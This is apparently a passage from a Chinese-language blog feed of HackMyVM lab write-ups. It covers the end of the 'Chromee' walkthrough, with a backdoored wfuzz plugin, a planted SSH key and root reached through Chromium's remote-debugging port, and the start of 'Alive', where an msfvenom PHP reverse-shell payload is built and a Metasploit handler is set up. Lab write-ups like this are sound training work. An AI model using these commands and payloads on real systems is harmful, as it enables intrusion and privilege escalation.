Examples:
        wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&amp;amp;pass=FUZ2Z
        wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
        wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ

Type wfuzz -h for further information or --help for advanced usage.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在他的wfuzz的目录下找可以写的文件能找到file.py,cat一下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;follower@Chromee:/usr/local/lib/python3.9/dist-packages/wfuzz$ cat ./plugins/payloads/file.py
import pty
pty.spawn(&amp;quot;/bin/bash&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不用想了，肯定是作者降低难度了后门都留好了&lt;/p&gt;
&lt;h1&gt;提权softly&lt;/h1&gt;
&lt;p&gt;-z file ( 挂载file载荷 -u 随意填写  )&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;follower@Chromee:/usr/local/lib/python3.9/dist-packages/wfuzz$ doas -u softly /usr/local/bin/wfuzz -z file -u 127.0.0.1
Password: 
 /usr/local/lib/python3.9/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&amp;#39;s documentation for more information.
softly@Chromee:/usr/local/lib/python3.9/dist-packages/wfuzz$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;softly@Chromee:~$ cat user.txt
flag{c5dbe81aac6438c522d2f79cc7255e6a}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;写入公钥&lt;/h2&gt;
&lt;h3&gt;1️⃣ Kali 上输出你的公钥&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/srv]
└─# cat ~/.ssh/id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCHqJKMrL/WARp8F3ayynuSZgbglaE3RGl/ZrF2P3IioqgjHyaMFgYXFRMl6mf8I1NY2iAIv6U11BVZszc6V3KMIwoO2rd7/ORoZtg7iooX79DKsrKm7NIim8pCmioZgQ4vYcPHFoKe/9pV9x+lv9Y8VlCYu31MYgqcxNsI+XThNdG08hwPWNI4lfIB8hHExn2wWfyE/gX/VlY1nR1gR6REByYy9vulOcTZdnK54cXdVyh44E4bkaQXs3VphC6x6kpCDbJuOdn9Ukj1XKhszTcUWG3IdqHBjd06dxVLGLALpD7kqZkw//SaNMcehgoPBK1eMxNZ6jiJ6/eMo+RDeuLQp5aUmTyQnvxhSG35jKHYUQxr582eJ/iSLKmlkuoOnmxcWjm1iYcFp9iaurBEQkjK/W+m4wbL+1TJNqDNqRJtPYJhcgN8Y99odsHU4XfXHAkF+bzrO6LmCppdQyhAQt3W4rKZPOgXMR9xq3Ycng+4NbIKgy4iWthLmA8+I8vXe7U= root@kali
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2️⃣ 以 softly 身份写入公钥（重点）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;softly@Chromee:~$ mkdir -p /home/softly/.ssh
softly@Chromee:~$ chmod 700 /home/softly/.ssh
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3️⃣  设置权限&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chmod 600 /home/softly/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4️⃣   Kali 测试&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ssh -i ~/.ssh/id_rsa softly@172.16.52.238
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权root&lt;/h1&gt;
&lt;p&gt;通过前面我们能知道&lt;code&gt;softly&lt;/code&gt;可以以&lt;code&gt;root&lt;/code&gt;用户执行：&lt;/p&gt;
&lt;p&gt;2️⃣ &lt;code&gt;permit nopass :softly as root cmd /usr/bin/chromium&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;→ 允许 &lt;code&gt;softly&lt;/code&gt; 用户无密码，提权为 &lt;code&gt;root&lt;/code&gt; 执行 &lt;code&gt;/usr/bin/chromium&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;3️⃣ &lt;code&gt;permit nopass :softly as root cmd /usr/bin/kill&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;→ 允许 &lt;code&gt;softly&lt;/code&gt; 用户无密码，提权为 &lt;code&gt;root&lt;/code&gt; 执行 &lt;code&gt;/usr/bin/kill&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;尝试运行&lt;code&gt;/usr/bin/chromium&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;linpeas.sh 提权&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;linpeas.sh = 上机后第一时间跑的“提权体检脚本”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;它&lt;strong&gt;不直接提权&lt;/strong&gt;，只负责告诉你：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;哪些地方“很可疑”&lt;/li&gt;
&lt;li&gt;哪些点&lt;strong&gt;可能能提权&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[~]
└─# scp -i ~/.ssh/id_rsa /usr/share/peass/linpeas/linpeas.sh softly@172.16.52.238:/tmp/

linpeas.sh                                   100%  949KB  35.8MB/s   00:00 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;softly@Chromee:/tmp$ ./linpeas.sh           
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner&amp;#39;s permission.                                  
                                                                               
Linux Privesc Checklist: https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html                                            
 LEGEND:                                                                       
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console &amp;amp; mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting LinPEAS. Caching Writable Folders...
                               ╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════                                                                           
                               ╚═══════════════════╝                           
OS: Linux version 5.10.0-23-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.179-1 (2023-05-12)
User &amp;amp; Groups: uid=1001(softly) gid=1001(softly) grupos=1001(softly)
Hostname: Chromee

[+] /usr/bin/ping is available for network discovery (LinPEAS can discover hosts, learn more with -h)                                                         
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (LinPEAS can discover hosts, scan ports, and forward ports. Learn more with -h)                                                                      
[+] /usr/bin/nc is available for network discovery &amp;amp; port scanning (LinPEAS can discover hosts and scan ports, learn more with -h)                            
                                                                               

Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE                                                
                                                                               
                              ╔════════════════════╗
══════════════════════════════╣ System Information ╠══════════════════════════════                                                                            
                              ╚════════════════════╝                           
╔══════════╣ Operative system
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits                                                             
Linux version 5.10.0-23-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.179-1 (2023-05-12)
Distributor ID: Debian
Description:    Debian GNU/Linux 11 (bullseye)
Release:        11
Codename:       bullseye

╔══════════╣ Sudo version
sudo Not Found                                                                 
                                                                               

╔══════════╣ PATH
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses                                                        
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games                       

╔══════════╣ Date &amp;amp; uptime
sáb 13 dic 2025 11:34:14 CET                                                   
 11:34:14 up  2:55,  2 users,  load average: 0,08, 0,02, 0,01

╔══════════╣ Unmounted file-system?
╚ Check if you can mount umounted devices                                      
UUID=5ed23ff9-728b-4a2d-b183-ac3d76b133ba /               ext4    errors=remount-ro 0       1
UUID=c68ec09b-b4a0-4264-a673-6048dcbe6db6 none            swap    sw              0       0
/dev/sr0        /media/cdrom0   udf,iso9660 user,noauto     0       0

╔══════════╣ Any sd*/disk* disk in /dev? (limit 20)
disk                                                                           
sda
sda1
sda2
sda5

╔══════════╣ Environment
╚ Any private information inside environment variables?                        
USER=softly                                                                    
SSH_CLIENT=172.16.55.179 31342 22
SHLVL=1
MOTD_SHOWN=pam
HOME=/home/softly
OLDPWD=/home/softly
SSH_TTY=/dev/pts/2
LOGNAME=softly
_=./linpeas.sh
TERM=xterm-256color
XDG_RUNTIME_DIR=/run/user/1001
LANG=es_ES.UTF-8
SHELL=/bin/bash
PWD=/tmp
SSH_CONNECTION=172.16.55.179 31342 172.16.52.238 22

╔══════════╣ Searching Signature verification failed in dmesg
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#dmesg-signature-verification-failed                                         
dmesg Not Found                                                                
                                                                               
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester                             
[+] [CVE-2021-3490] eBPF ALU32 bounds tracking for bitwise ops                 

   Details: https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story
   Exposure: probable
   Tags: ubuntu=20.04{kernel:5.8.0-(25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52)-*},ubuntu=21.04{kernel:5.11.0-16-*}
   Download URL: https://codeload.github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490/zip/main
   Comments: CONFIG_BPF_SYSCALL needs to be set &amp;amp;&amp;amp; kernel.unprivileged_bpf_disabled != 1

[+] [CVE-2022-0847] DirtyPipe

   Details: https://dirtypipe.cm4all.com/
   Exposure: probable
   Tags: ubuntu=(20.04|21.04),[ debian=11 ]
   Download URL: https://haxx.in/files/dirtypipez.c

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,[ debian=7|8|9|10|11 ],fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

   Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
   Exposure: less probable
   Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
   Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2022-2586] nft_object UAF

   Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
   Exposure: less probable
   Tags: ubuntu=(20.04){kernel:5.12.13}
   Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded


╔══════════╣ Protections
═╣ AppArmor enabled? .............. You do not have enough privilege to read the profile set.
apparmor module is loaded.
═╣ AppArmor profile? .............. unconfined
═╣ is linuxONE? ................... s390x Not Found
═╣ grsecurity present? ............ grsecurity Not Found                       
═╣ PaX bins present? .............. PaX Not Found                              
═╣ Execshield enabled? ............ Execshield Not Found                       
═╣ SELinux enabled? ............... sestatus Not Found                         
═╣ Seccomp enabled? ............... disabled                                   
═╣ User namespace? ................ enabled
═╣ Cgroup2 enabled? ............... enabled
═╣ Is ASLR enabled? ............... Yes
═╣ Printer? ....................... No
═╣ Is this a virtual machine? ..... Yes (oracle)                               

╔══════════╣ Kernel Modules Information
══╣ Kernel modules with weak perms?                                            
                                                                               
══╣ Kernel modules loadable? 
Modules can be loaded                                                          



                                   ╔═══════════╗
═══════════════════════════════════╣ Container ╠═══════════════════════════════════                                                                           
                                   ╚═══════════╝                               
╔══════════╣ Container related tools present (if any):
/usr/sbin/apparmor_parser                                                      
/usr/bin/nsenter
/usr/bin/unshare
/usr/sbin/chroot
/usr/sbin/capsh
/usr/sbin/setcap
/usr/sbin/getcap

╔══════════╣ Container details
═╣ Is this a container? ........... No                                         
═╣ Any running containers? ........ No                                         
                                                                               


                                     ╔═══════╗
═════════════════════════════════════╣ Cloud ╠═════════════════════════════════════                                                                           
                                     ╚═══════╝    
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;判断是否有gcc&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;softly@Chromee:/tmp$ which gcc&lt;/p&gt;
&lt;p&gt;/usr/bin/gcc&lt;/p&gt;
&lt;p&gt;可以发现gcc环境存在&lt;/p&gt;
&lt;p&gt;2.尝试pwnkit和DirtyPipe提权失败&lt;/p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;结合题目名Chromee和前面得到的zeus.conf，能猜到肯定和浏览器有关系&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在/media下有一个debug.kdbx  &lt;/p&gt;
&lt;h1&gt;debug.kdbx&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# file debug.kdbx                                                                                     
debug.kdbx: PDF document, version 1.7
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以发现是一个pdf文件&lt;/p&gt;
&lt;p&gt;尝试打开&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Chrome DevTools Protocol, CDP
The debugging port of Chrome is a dedicated port for remote debugging of browsers or web
pages, and communication is achieved through the DevTools protocol (Chrome DevTools Protocol,
CDP). Here are the details:
1. Default debugging port
Default port: Chrome does not enable the debugging port by default and needs to be
manually specified.
Common port numbers: Developers usually choose 9222, but it can be customized (such as 1234,
8080, etc.)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Chrome DevTools Protocol（CDP）

Chrome 的调试端口是一个专用端口，用于对浏览器或网页进行远程调试，通信通过 DevTools 协议（Chrome DevTools Protocol，CDP）来完成。具体说明如下：

1. 默认调试端口

默认端口：Chrome 默认不会启用调试端口，需要手动指定。

常用端口号：开发者通常使用 9222，但也可以自定义（例如 1234、8080 等）。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;谷歌浏览器自带这个工具chrome://inspect/，还有这个9222的默认端口  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;softly@Chromee:/tmp$ doas -u root /usr/bin/chromium --no-sandbox
[7767:7767:1213/115924.194397:ERROR:process_singleton_posix.cc(353)] The profile appears to be in use by another Chromium process (6169) on another computer (pepster). Chromium has locked the profile so that it doesn&amp;#39;t get corrupted. If you are sure no other processes are using this profile, you can unlock the profile and relaunch Chromium.
[7767:7767:1213/115924.194451:ERROR:message_box_dialog.cc(146)] Unable to show a dialog outside the UI thread message loop: Chromium - The profile appears to be in use by another Chromium process (6169) on another computer (pepster). Chromium has locked the profile so that it doesn&amp;#39;t get corrupted. If you are sure no other processes are using this profile, you can unlock the profile and relaunch Chromium.
softly@Chromee:/tmp$ [7787:7787:0100/000000.199709:ERROR:zygote_linux.cc(662)] write: Broken pipe (32)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;目前已知直接打开浏览器会报错(由于靶机无GUI界面)&lt;/p&gt;
&lt;p&gt;在网上查到开启远程debug的命令&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;doas /usr/bin/chromium --headless --remote-debugging-port=9222 --no-sandbox http://127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为靶机没有桌面，所以一定要带上–headless，不然会报错，启动好后再用socat端口转发&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;scp /usr/bin/socat softly@172.16.52.238:~

//别传，传的是kali版本的无法在靶机上使用
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;──(root㉿kali)-[/usr]
└─# ssh -N -L 9999:127.0.0.1:9222 softly@172.16.52.238
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用谷歌浏览器连接，打开第一个连接&lt;/p&gt;
&lt;p&gt;打开chrome&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chromium
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 使用 Chrome 进入调试页面 &lt;code&gt;**chrome://inspect/#devices**&lt;/code&gt;&lt;/p&gt;
&lt;p&gt; 点击 &lt;code&gt;configure&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Chromee-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Done&lt;/code&gt; 之后会出现两个 &lt;code&gt;URL&lt;/code&gt;&lt;/p&gt;
&lt;p&gt; 点击第一个进行查看  &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Chromee-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Chromee-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;等一会就会发现向127.0.0.1/post.php发送一个key，&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;UGhhbnRvbSBFbmdhZ2UK
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不用base64解码，这个就是root的密码。&lt;/p&gt;
&lt;p&gt;chromium的远程端口必须要是9222默认端口&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;root@Chromee:~# cat root.txt 
flag{e96f7a29ba633b4e43214b43d1791074}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;关于端口转发&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/usr]
└─# ssh -N -L 9999:127.0.0.1:9222 softly@172.16.52.238
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;我在 Kali 打开一个洞，洞的另一头是靶机本地 Chromium 的 9222。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;1️⃣ &lt;code&gt;ssh softly@172.16.52.238&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;这一步只是：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;用 SSH 登录靶机&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;建立一条加密隧道&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2️⃣ &lt;code&gt;-L 9999:127.0.0.1:9222&lt;/code&gt;（核心）&lt;/h2&gt;
&lt;p&gt;格式是固定的：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;-L &amp;lt;本地端口&amp;gt;:&amp;lt;目标地址&amp;gt;:&amp;lt;目标端口&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;套进你的命令就是：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;部分&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;9999&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Kali 本地监听的端口&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;在靶机上的地址&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;9222&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;靶机 Chromium 的 DevTools 端口&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;⚠️ 关键理解：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这个 &lt;code&gt;127.0.0.1&lt;/code&gt;&lt;strong&gt;不是 Kali 的&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;而是 &lt;strong&gt;“在靶机那一端” 的 localhost&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3️⃣ &lt;code&gt;-N&lt;/code&gt; 是干嘛的？&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;-N
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;意思是：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;不执行任何远程命令&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;也就是说：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不给你 shell&lt;/li&gt;
&lt;li&gt;不跑 bash&lt;/li&gt;
&lt;li&gt;只维持端口转发&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;👉 这是专门给“纯转发”用的选项&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/chromee/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/chromee/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sat, 13 Dec 2025 00:00:00 GMT</pubDate></item><item><title>HMV-Alive</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/alive/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/alive/</guid><description>Enjoy it.</description><content:encoded>&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
172.16.52.191   08:00:27:46:80:b7       (Unknown)                                       
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 172.16.52.191                                                                     
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-10 15:57 EST
Nmap scan report for 172.16.52.191
Host is up (0.00056s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 26:9c:17:ef:21:36:3d:01:c3:1d:6b:0d:47:11:cd:58 (RSA)
|   256 29:26:68:49:b0:37:5c:0e:7b:6d:81:8d:60:98:8d:fc (ECDSA)
|_  256 13:2e:13:19:0c:9d:a3:a7:3e:b8:df:ab:97:08:41:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Host alive
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.22 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80端口&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Alive-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Wireshark&lt;/h3&gt;
&lt;p&gt;出现了个url请求界面，发送请求到攻击机并用wireshark抓包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Alive-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;没什么用&lt;/p&gt;
&lt;p&gt;尝试包含以下自身&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Alive-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u http://172.16.52.191/             
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

[16:07:20] 301 -  312B  - /tmp  -&amp;gt;  http://172.16.52.191/tmp/               
[16:07:20] 200 -  403B  - /tmp/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;访问tmp目录&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Alive-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以发现是一个空目录&lt;/p&gt;
&lt;p&gt;本地生成webshell尝试请求&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/alive]
└─# msfvenom -p php/reverse_php LHOST=172.16.55.210 LPORT=8888 -o shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 2648 bytes
Saved as: shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;🔹 垂直分屏（左右）
Ctrl + Shift + R

🔹 水平分屏（上下）
Ctrl + Shift + D

关闭当前 Pane
Ctrl + Shift + E
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;──(root㉿kali)-[/home/kali/Desktop/hmv/alive]
└─# python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ..
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Alive-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;已知该页面会包含请求界面&lt;/p&gt;
&lt;p&gt;那么我们用  &amp;gt;  将我们的shell文件写入到tmp目录中&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;msf6 exploit(multi/handler) &amp;gt; set LHOST 172.16.55.210 
LHOST =&amp;gt; 172.16.55.210 
msf6 exploit(multi/handler) &amp;gt; set LPORT 8888 
LPORT =&amp;gt; 8888 
msf6 exploit(multi/handler) &amp;gt; set ExitOnSession false 
ExitOnSession =&amp;gt; false 
msf6 exploit(multi/handler) &amp;gt; run -j
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;www-data&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;env
APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
JOURNAL_STREAM=8:11609
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
INVOCATION_ID=1fc37cab8b9745acbd2a7774df25f197
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html/tmp
